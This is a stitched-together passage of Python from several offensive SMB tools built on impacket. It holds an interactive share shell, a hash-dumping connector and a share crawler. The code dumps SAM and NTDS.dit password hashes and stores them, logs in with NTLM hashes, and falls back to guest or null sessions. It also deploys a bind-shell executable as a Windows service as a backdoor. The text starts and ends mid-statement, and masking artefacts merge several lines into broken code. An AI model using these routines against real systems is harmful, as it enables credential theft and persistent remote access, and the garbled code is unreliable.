SessionError as e: if 'STATUS_SHARING_VIOLATION' in str(e): pass except Exception, e: print e
class SMBShell(PsExec, Samr, SvcCtl): def __init__(self, target, credential, local_name): self.__dstip = target.get_host() self.__dstport = target.get_port() self.__user = credential.get_user() self.__password = credential.get_password() self.__lmhash = credential.get_lm_hash() self.__nthash = credential.get_nt_hash() self.__domain = credential.get_domain() self.__is_admin = credential.get_is_admin() self.__srcfile = local_name self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip self.__timeout = 5 * 60 self.smb = None self.tid = None self.pwd = '\\' self.share = '' self.shares_list = [] self.domains_dict = {} self.users_list = set() self.completion = [] self.smbserver_share = ''.join(random.choice(string.ascii_uppercase) for _ in range(8)) self.connect() logger.debug('Connection to host %s established' % target.get_identity()) self.login() logger.debug( 'Logged in as %s' % (self.__user if not self.__domain else '%s\%s' % (self.__domain, self.__user))) logger.info('Looking for a writable share, wait..') _ = self.get_writable_share() self.info(False) if _: DataStore.writable_share = _ else: logger.warn('Unable to find a writable share. Going to use %s, but some commands will not work' % DataStore.writable_share) if DataStore.version_major >= 6 or (DataStore.version_major == 5 and DataStore.version_minor == 1): DataStore.share_path = ntpath.join(DataStore.user_path, 'Windows', 'Temp') else: DataStore.share_path = ntpath.join(DataStore.user_path, 'WINNT', 'Temp') def connect(self): self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout) def login(self): try: self.smb.login(self.__user, self.__password, self.__domain, self.__lmhash, self.__nthash) except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.error('SMB error: %s' % (e.getErrorString(),)) raise RuntimeError def logoff(self): self.smb.logoff() def smb_transport(self, named_pipe): self.trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename=named_pipe, smb_connection=self.smb, remote_host=self.__dstip) try: self.trans.connect() except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.warn('SMB error: %s' % e.getErrorString()) raise RuntimeError def info(self, display=True): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.bind(srvs.MSRPC_UUID_SRVS) try: self.__resp = srvs.hNetrServerGetInfo(self.__dce, 102) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query server information') return None self.__dce.disconnect() DataStore.server_os = self.smb.getServerOS() DataStore.server_name = self.smb.getServerName() DataStore.server_domain = self.smb.getServerDomain() DataStore.server_host = self.smb.getRemoteHost() DataStore.user_path = self.__resp['InfoStruct']['ServerInfo102']['sv102_userpath'] DataStore.version_major = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_major'] DataStore.version_minor = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_minor'] if display: print('Operating system: %s' % self.smb.getServerOS()) print('Netbios name: %s' % self.smb.getServerName()) print('Domain: %s' % self.smb.getServerDomain()) print('SMB dialect: %s' % check_dialect(self.smb.getDialect())) print('NTLMv2 support: %s' % self.smb.doesSupportNTLMv2()) print('UserPath: %s' % DataStore.user_path) print('Simultaneous users: %d' % self.__resp['InfoStruct']['ServerInfo102']['sv102_users']) print('Version major: %d' % DataStore.version_major) print('Version minor: %d' % DataStore.version_minor) print('Comment: %s' % self.__resp['InfoStruct']['ServerInfo102']['sv102_comment'] or '') # TODO: uncomment when SMBConnection will have a wrapper # getServerTime() method for both SMBv1,2,3 # print 'Time: %s' % self.smb.get_server_time() return self.__resp def who(self): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(self.__dce, NULL, NULL, 502) for session in resp['InfoStruct']['SessionInfo']['Level502']['Buffer']: print("Host: %15s, user: %5s, active: %5d, idle: %5d, type: %5s, transport: %s" % (session['sesi502_cname'][:-1], session['sesi502_username'][:-1], session['sesi502_time'], session['sesi502_idle_time'], session['sesi502_cltype_name'][:-1], session['sesi502_transport'][:-1])) self.__dce.disconnect() def __share_info(self, share): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareGetInfo(self.__dce, '%s\x00' % share, 2) self.__dce.disconnect() return resp def check_share(self, share=None): # logger.debug("Into check_share with share: %s, self.share is: %s and self.tid is: %s" # % (share, self.share, self.tid)) if share: self.use(share) elif not share and (self.share is None or self.tid is None): logger.warn('Share has not been specified, select one') self.shares() def is_writable_share(self, share): _ = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) try: self.use(share, False) self.mkdir(_) except: pass else: self.rmdir(_) return True return False def get_writable_share(self): # Check we can write a directory on the shares, return the first writable one for _ in self.smb.listShares(): share = _['shi1_netname'][:-1] try: share_info = self.__share_info(share) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query share: %s' % share) continue path = share_info['InfoStruct']['ShareInfo2']['shi2_path'][:-1] if self.is_writable_share(share): logger.info('Share %s %sis writable' % (share, "(%s) " % path if path else "")) DataStore.share_path = path return share else: logger.debug('Share %s %sis not writable' % (share, "(%s) " % path if path else "")) return None def shares(self): shares = self.smb.listShares() count = 0 for i in range(len(shares)): count += 1 name = shares[i]['shi1_netname'][:-1] self.shares_list.append(name) comment = shares[i]['shi1_remark'][:-1] share_type = shares[i]['shi1_type'] _ = self.__share_info(name) max_uses = _['InfoStruct']['ShareInfo2']['shi2_max_uses'] # 4294967295L is unlimited current_uses = _['InfoStruct']['ShareInfo2']['shi2_current_uses'] permissions = _['InfoStruct']['ShareInfo2']['shi2_permissions'] # impacket always returns always 0 path = _['InfoStruct']['ShareInfo2']['shi2_path'] print('[%d] %s (comment: %s)' % (count, name, comment)) print('\tPath: %s' % path) print('\tUses: %d (max: %s)' % (current_uses, 'unlimited' if max_uses == 4294967295 else max_uses)) # print '\tType: %s' % share_type # print '\tPermissions: %d' % permissions msg = 'Which share do you want to connect to? (default: 1) ' limit = len(self.shares_list) choice = read_input(msg, limit) self.use(self.shares_list[choice - 1]) def use(self, share, display=True): if not share: raise missingShare('Share has not been specified') if self.tid: self.smb.disconnectTree(self.tid) try: self.share = share.strip('\x00') self.tid = self.smb.connectTree(self.share) self.pwd = '\\' self.ls('', False) except SessionError as e: if not display: pass elif e.getErrorCode() == nt_errors.STATUS_BAD_NETWORK_NAME: logger.warn('Invalid share name') elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') else: logger.warn('Unable to connect to share: %s' % (e.getErrorString(),)) def cd(self, path): if not path: return self.check_share() path = ntpath.normpath(path) self.oldpwd = self.pwd if path == '.': return elif path == '..': sep = self.pwd.split('\\') self.pwd = '\\'.join('%s' % s for s in sep[:-1]) return if path[0] == '\\': self.pwd = path else: self.pwd = ntpath.join(self.pwd, path) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd) self.smb.closeFile(self.tid, fid) logger.warn('File is not a directory') self.pwd = self.oldpwd except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_FILE_IS_A_DIRECTORY: return elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') elif e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND: logger.warn('File not found') else: logger.warn('Unable to change directory: %s' % (e.getErrorString(),)) self.pwd = self.oldpwd def get_pwd(self): print(ntpath.join(self.share, self.pwd)) def ls(self, path, display=True): self.check_share() if not path: pwd = ntpath.join(self.pwd, '*') else: pwd = ntpath.join(self.pwd, path) self.completion = [] pwd = ntpath.normpath(pwd) try: files = self.smb.listPath(self.share, pwd) except SessionError as e: if not display: pass elif e.getErrorCode() in (nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_NO_SUCH_FILE): logger.warn('File not found') else: logger.warn('Unable to list files: %s' % (e.getErrorString(),)) return for f in files: if display is True: print('%s %8s %10d %s' % (time.ctime(float(f.get_mtime_epoch())), '<DIR>' if f.is_directory() > 0 else '', f.get_filesize(), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory(), f.get_filesize())) def lstree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') for x in range(0, path.count('\\')): print('| ') print('%s' % os.path.basename(path.replace('\\', '/'))) self.ls('%s\\*' % path, display=False) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.lstree(ntpath.join(path, identified_file)) else: for x in range(0, path.count('\\')): print('| ') print('|-- %s (%d bytes)' % (identified_file, size)) def cat(self, filename): self.check_share() filename = os.path.basename(filename) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Reading file %s (%d bytes)..' % (filepath, size)) try: self.fid = self.smb.openFile(self.tid, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to access file: %s' % (e.getErrorString(),)) continue offset = 0 while 1: try: data = self.smb.readFile(self.tid, self.fid, offset) data = data.decode("cp437") print(data) if len(data) == 0: break offset += len(data) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_END_OF_FILE: break else: logger.error('Unable to read file content: %s' % (e.getErrorString(),)) self.smb.closeFile(self.tid, self.fid) def download(self, filename, path=None): self.check_share() basename = os.path.basename(filename) if path is None: path = '.' else: path = path.replace('\\', '/') self.ls(basename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: self.downloadtree(identified_file) self.cd('..') continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Downloading file %s (%d bytes)..' % (filepath, size)) try: fh = open(os.path.join(path, identified_file), 'wb') self.smb.getFile(self.share, filepath, fh.write) fh.close() except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to download file: %s' % (e.getErrorString(),)) def downloadtree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') basename = ntpath.basename(path) normpath = path.replace('\\', '/') self.cd(basename) # Check if the provided path is not a directory (if so, then the # working directory has not changed if self.pwd == self.oldpwd: self.download(basename) return logger.debug('Recreating directory %s' % self.pwd) self.ls(None, display=False) if not os.path.exists(normpath): os.makedirs(normpath) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.downloadtree(ntpath.join(path, identified_file)) self.cd('..') else: self.download(identified_file, normpath) def upload(self, pathname, destfile=None): self.check_share() if isinstance(pathname, string_types): files = glob.glob(pathname) else: files = [pathname] for filename in files: try: if isinstance(filename, string_types): fp = open(filename, 'rb') else: fp = filename except IOError: logger.error('Unable to open file %s' % filename) return False if not destfile or len(files) > 1: destfile = os.path.basename(filename) destfile = ntpath.join(self.pwd, destfile) if isinstance(filename, string_types): logger.debug('Uploading file %s to %s..' % (filename, destfile)) try: self.smb.putFile(self.share, destfile, fp.read) except SessionError as e: traceback.print_exc() if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to upload %s' % destfile) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to upload %s due to share access flags' % destfile) else: logger.error('Unable to upload file: %s' % (e.getErrorString(),)) fp.close() def rename(self, srcfile, destfile): self.check_share() srcfile = ntpath.join(self.pwd, ntpath.normpath(srcfile)) destfile = ntpath.join(self.pwd, ntpath.normpath(destfile)) self.smb.rename(self.share, srcfile, destfile) def mkdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.smb.createDirectory(self.share, path) def rm(self, filename): self.check_share() filename = ntpath.join(self.pwd, ntpath.normpath(filename)) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing file %s (%d bytes)..' % (filepath, size)) try: self.smb.deleteFile(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove file: %s' % (e.getErrorString(),)) def rmdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.ls(path, display=False) for identified_file, is_directory, _ in self.completion: if is_directory <= 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing directory %s..' % filepath) try: self.smb.deleteDirectory(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove directory: %s' % (e.getErrorString(),)) def bindshell(self, port): connected = False srvname = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) local_file = os.path.join(keimpx_path, 'contrib', 'srv_bindshell.exe') remote_file = '%s.exe' % ''.join([random.choice(string.ascii_lowercase) for _ in range(8)]) if not os.path.exists(local_file): raise missingFile('srv_bindshell.exe not found in the contrib subfolder') logger.info('Launching interactive OS shell') logger.debug('Going to use temporary service %s' % srvname) if not port: port = 4445 elif not isinstance(port, int): port = int(port) self.deploy(srvname, local_file, port, remote_file) logger.info('Connecting to backdoor on port %d, wait..' % port) for counter in range(0, 3): try: time.sleep(1) if str(sys.version.split()[0]) >= '2.6': tn = Telnet(self.__dstip, port, 3) else: tn = Telnet(self.__dstip, port) connected = True tn.interact() except (socket.error, socket.herror, socket.gaierror, socket.timeout) as e: if connected is False: warn_msg = 'Connection to backdoor on port %d failed (%s)' % (port, e) if counter < 2: warn_msg += ', retrying..' logger.warn(warn_msg) else: logger.error(warn_msg) except SessionError as e: # traceback.print_exc() logger.error('SMB error: %s' % (e.getErrorString(),)) except KeyboardInterrupt as _: print() logger.info('User aborted') except Exception as e: # traceback.print_exc() logger.error(str(e)) if connected is True: tn.close() sys.stdout.flush() break time.sleep(1) self.undeploy(srvname) def getSecretsDumper(self, history): dumper = DumpSecrets(remoteName=self.__destfile, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, history=history, ds=DataStore) return dumper def getAtExec(self, command): if DataStore.version_major > 6: atexec = TSCH_EXEC(self.__destfile if self.__destfile is not None else self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, command=command) return atexec else: logger.warn("This command only works on Windows Vista or newer.") return None def getRpcDump(self): dumper = RPCDump(self.__destfile if self.__destfile is not None else self.__dstip, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash) return dumper
class SmbCon(Connector): def __init__(self, args, loggers, host, db): Connector.__init__(self, args, loggers, host) self.auth = False self.con = False self.client = ''.join( [choice(ascii_letters + digits) for x in range(7)]) self.smbv1 = False self.os = '' self.admin = False self.signing = False self.os_arch = '0' self.remote_ops = None self.bootkey = None self.db = db self.port = 445 ######################### # Session Management ######################### def create_smb_con(self): # Create SMB Con if self.smb_connection(): self.host_info() try: # SMB Auth self.con.login(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash) self.auth = True self.host_info() self.isAdmin() self.update_db() except Exception as e: raise Exception(str(e)) else: raise Exception('Connection to Server Failed') def update_db(self): self.db.update_host(self.host, self.ip, self.domain, self.os, self.signing) if self.username and self.password or self.username and self.hash: self.db.update_user(self.username, self.password, self.domain, self.hash) if self.admin: self.db.update_admin(self.username, self.domain, self.host) def logoff(self): self.con.logoff() def close(self): try: self.con.logoff() except: pass try: self.con.close() except: pass ######################### # SMB Connection ######################### def smb_connection(self): if self.smbv1_con(): return True elif self.smbv3_con(): return True return False def smbv1_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, preferredDialect=SMB_DIALECT, timeout=int(self.timeout)) self.smbv1 = True self.con.setTimeout(self.timeout) return True except Exception as e: return False def smbv3_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, timeout=int(self.timeout)) self.con.setTimeout(self.timeout) return True except Exception as e: return False ######################### # Authentication (NOT IN USE) ######################### def set_host(self, local_auth): # Get domain for authentication purposes if local_auth: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() else: self.domain = self.con.getServerDNSDomainName() # Backup for Linux/Unix systems if not self.domain: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() ################################ # Enumerate Host information ################################ def host_info(self): try: self.srvdomain = self.get_domain() self.host = self.get_hostname() self.os = self.con.getServerOS() self.signing = self.con.isSigningRequired() arch = self.get_os_arch() if arch == 32 or arch == 64: self.os_arch = " x{}".format(str(arch)) else: self.os_arch = '' except Exception as e: self.logger.debug("SMB Host Info: {}".format(str(e))) def get_os_arch(self): # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() dce.connect() try: dce.bind( MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except: return 0 def get_hostname(self): if self.con.getServerDNSDomainName() and not self.local_auth: if self.con.getServerName().lower( ) != self.con.getServerDNSDomainName().lower(): return (self.con.getServerName() + "." + self.con.getServerDNSDomainName()) else: return self.con.getServerName() else: return self.con.getServerName() def get_domain(self): try: return self.con.getServerDomain() except: return self.getServerName() def list_shares(self): # name=share['shi1_netname'][:-1], description=share['shi1_remark'] return self.con.listShares() ################################ # Host/Domain Password Policy ################################ def password_policy(self): SAMRDump(self).dump(self.host) ################################ # List Shares & Check Share Permissions ################################ def read_perm(self, share): try: # Silently list path to check access self.list_path(share, False) return True except: return False def write_perm(self, share): try: # Create dir to check write access tmp = '.' + ''.join( [choice(ascii_letters + digits) for x in range(5)]) self.con.createDirectory(share, tmp) self.con.deleteDirectory(share, tmp) return True except Exception as e: return False def list_path(self, share, path): if not path: path = '/*' return self.con.listPath(share, path) ################################ # Check if User Admin ################################ def isAdmin(self): rpctransport = SMBTransport(self.host, self.port, r'\svcctl', smb_connection=self.con) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host), 'ServicesActive\x00', 0xF003F) self.admin = True return True except scmr.DCERPCException as e: pass return False ################################ # Dump SAM / LSA # Methods were modified from: # https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py ################################ def enable_remoteops(self): if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.con, False, None) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail('RemoteOperations failed for {}: {}'.format( self.host, str(e))) def sam(self): def add_sam_hash(sam_hash, host): self.logger.success([self.host, self.ip, "SAM HASH", sam_hash]) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.update_user(username, '', host, "{}:{}".format(lmhash, nthash)) add_sam_hash.added_to_db += 1 try: add_sam_hash.added_to_db = 0 self.enable_remoteops() if self.remote_ops and self.bootkey: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash( secret, self.host)) SAM.dump() except Exception as e: self.logger.debug('SAM Extraction Failed for {}: {}'.format( self.host, str(e))) if add_sam_hash.added_to_db > 0: self.logger.success([ self.host, self.ip, "SAM HASH", '{} NTLM hashes added to the database'.format( add_sam_hash.added_to_db) ]) try: self.remote_ops.finish() SAM.finish() except Exception as e: self.logger.debug( ["SAM", "Error calling remote_ops.finish(): {}".format(e)]) def ntds(self): def add_ntds_hash(ntds_hash): if ntds_hash.find('$') == -1: if "CLEARTEXT" in ntds_hash: try: add_ntds_hash.clear_text += 1 username, password = ntds_hash.split(":CLEARTEXT:") domain, username = username.split("\\") self.db.update_user(username, '', domain, password) add_ntds_hash.added_to_db += 1 except: self.logger.fail( "Error adding clear text cred to db: {}".format( ntds_hash)) else: if ntds_hash.find('\\') != -1: domain, hash = ntds_hash.split('\\') else: domain = self.domain hash = ntds_hash try: username, _, lmhash, nthash, _, _, _ = hash.split(':') parsed_hash = ':'.join((lmhash, nthash)) if validate_ntlm(parsed_hash): add_ntds_hash.ntds_hashes += 1 self.db.update_user(username, '', domain, "{}:{}".format(lmhash, nthash)) add_ntds_hash.added_to_db += 1 except: self.logger.debug( "Skipping non-NTLM hash: {}".format(ntds_hash)) else: self.logger.debug("Skipping computer account") try: self.enable_remoteops() use_vss_method = self.args.use_vss NTDSFileName = None add_ntds_hash.ntds_hashes = 0 add_ntds_hash.clear_text = 0 add_ntds_hash.added_to_db = 0 outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, self.domain) if self.remote_ops and self.bootkey: if self.args.ntds is 'vss': NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=outfile, justUser=None, printUserStatus=False, perSecretCallback=lambda secretType, secret: add_ntds_hash(secret)) self.logger.info([ self.host, self.ip, "NTDS", 'Dumping NTDS.dit, this could take a minute' ]) NTDS.dump() self.logger.success([ self.host, self.ip, "NTDS", '{} NTLM hashes and {} clear text passwords collected'. format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text) ]) self.logger.success([ self.host, self.ip, "NTDS", '{} creds added to the database'.format( add_ntds_hash.added_to_db) ]) self.logger.info([ self.host, self.ip, "NTDS", 'Hash files located at: {}'.format(outfile) ]) else: raise Exception("RemoteOps and BootKey not initiated") except Exception as e: self.logger.fail('NTDS Extraction Failed for {}: {}'.format( self.host, str(e))) try: self.remote_ops.finish() NTDS.finish() except Exception as e: self.logger.debug( ["NTDS", "Error calling remote_ops.finish(): {}".format(e)]) ################################ # File Interaction ################################ def createFile(self, filename, data, share='C$'): # Create new file & write data, Not In Use f = remotefile.RemoteFile(self.con, filename, share) f.create() f.write(data) f.close() def uploadFile(self, local_file, location, share='C$'): f = open(local_file) self.con.putFile(share, location, f.read) f.close() def downloadFile(self, remote_file, location='ar3_download', share='C$'): f = open(location, 'wb') self.con.getFile(share, remote_file, f.write) f.close() return def deleteFile(self, remote_file, share='C$'): self.con.deleteFile(share, remote_file)
class SMBClient: ''' Wrapper around impacket's SMBConnection() object ''' def __init__(self, server, username, password, domain, nthash): self.server = server self.conn = None self.username = username self.password = password self.domain = domain self.nthash = nthash if self.nthash: self.lmhash = 'aad3b435b51404eeaad3b435b51404ee' else: self.lmhash = '' @property def shares(self): try: resp = self.conn.listShares() for i in range(len(resp)): sharename = resp[i]['shi1_netname'][:-1] log.debug(f'{self.server}: Found share: {sharename}') yield sharename except Exception as e: e = handle_impacket_error(e, self) log.warning(f'{self.server}: Error listing shares: {e}') def login(self, refresh=False, first_try=True): ''' Create a new SMBConnection object (if there isn't one already or if refresh is True) Attempt to log in, and switch to null session if logon fails Return True if logon succeeded Return False if logon failed ''' if self.conn is None or refresh: try: self.conn = SMBConnection(self.server, self.server, sess_port=445, timeout=20) except Exception as e: log.debug(impacket_error(e)) return None try: if self.username in [None, '', 'Guest'] and first_try: # skip to guest / null session assert False log.debug(f'{self.server}: Authenticating as "{self.domain}\\{self.username}"') # pass the hash if requested if self.nthash and not self.password: self.conn.login( self.username, '', lmhash=self.lmhash, nthash=self.nthash, domain=self.domain, ) # otherwise, normal login else: self.conn.login( self.username, self.password, domain=self.domain, ) log.info(f'{self.server}: Successful login as "{self.username}"') return True except Exception as e: if type(e) != AssertionError: e = handle_impacket_error(e, self, display=True) # try guest account, then null session if logon failed if first_try: bad_statuses = ['LOGON_FAIL', 'PASSWORD_EXPIRED', 'LOCKED_OUT', 'SESSION_DELETED'] if any([s in str(e) for s in bad_statuses]): for s in bad_statuses: if s in str(e): log.warning(f'{self.server}: {s}: {self.username}') log.debug(f'{self.server}: Trying guest session') self.username = '******' self.password = '' self.domain = '' self.nthash = '' guest_success = self.login(refresh=True, first_try=False) if not guest_success: log.debug(f'{self.server}: Switching to null session') self.username = '' self.login(refresh=True, first_try=False) return False else: return True def ls(self, share, path): ''' List files in share/path Raise FileListError if there's a problem @byt3bl33d3r it's really not that bad ''' nt_path = ntpath.normpath(f'{path}\\*') # for every file/dir in "path" try: for f in self.conn.listPath(share, nt_path): # exclude current and parent directory if f.get_longname() not in ['', '.', '..']: yield f except Exception as e: e = handle_impacket_error(e, self) raise FileListError(f'{e.args}: Error listing files at "{share}{nt_path}"') def rebuild(self, error=''): ''' Rebuild our SMBConnection() if it gets borked ''' log.debug(f'Rebuilding connection to {self.server} after error: {error}') self.login(refresh=True)
class MiniImpacketShell(cmd.Cmd): def __init__(self, smbClient, tcpShell=None): #If the tcpShell parameter is passed (used in ntlmrelayx), # all input and output is redirected to a tcp socket # instead of to stdin / stdout if tcpShell is not None: cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout) sys.stdout = tcpShell.stdout sys.stdin = tcpShell.stdin sys.stderr = tcpShell.stdout self.use_rawinput = False self.shell = tcpShell else: cmd.Cmd.__init__(self) self.shell = None self.prompt = '# ' self.smb = smbClient self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials() self.tid = None self.intro = 'Type help for list of commands' self.pwd = '' self.share = None self.loggedIn = True self.last_output = None self.completion = [] def emptyline(self): pass def precmd(self, line): # switch to unicode return line def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception as e: LOG.error(e) LOG.debug('Exception info', exc_info=True) return retVal def do_exit(self,line): if self.shell is not None: self.shell.close() return True def do_shell(self, line): output = os.popen(line).read() print(output) self.last_output = output def do_help(self,line): print(""" open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes logoff - logs off shares - list available shares use {sharename} - connect to an specific share cd {path} - changes the current directory to {path} lcd {path} - changes the current local directory to {path} pwd - shows current remote directory password - changes the user password, the new password will be prompted for input ls {wildcard} - lists all the files in the current directory rm {file} - removes the selected file mkdir {dirname} - creates the directory under the current path rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path mget {mask} - downloads all files from the current directory matching the provided mask cat {filename} - reads the filename from the current path mount {target,path} - creates a mount point from {path} to {target} (admin required) umount {path} - removes the mount point at {path} without deleting the directory (admin required) list_snapshots {path} - lists the vss snapshots for the specified path info - returns NetrServerInfo main results who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session) """) def do_password(self, line): if self.loggedIn is False: LOG.error("Not logged in") return from getpass import getpass newPassword = getpass("New Password:"******"SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: LOG.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: LOG.info("SMBv2.1 dialect used") else: LOG.info("SMBv3.0 dialect used") self.share = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_kerberos_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if domain == '': LOG.error("Domain must be specified for Kerberos login") return if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_login_hash(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') domain = '' if len(l) > 0: username = l[0] if len(l) > 1: hashes = l[1] else: LOG.error("Hashes needed. Format is lmhash:nthash") return if username.find('/') > 0: domain, username = username.split('/') lmhash, nthash = hashes.split(':') self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) self.username = username self.lmhash = lmhash self.nthash = nthash if self.smb.isGuestSession() > 0: LOG.info("GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_logoff(self, line): if self.smb is None: LOG.error("No connection open") return self.smb.logoff() del self.smb self.share = None self.smb = 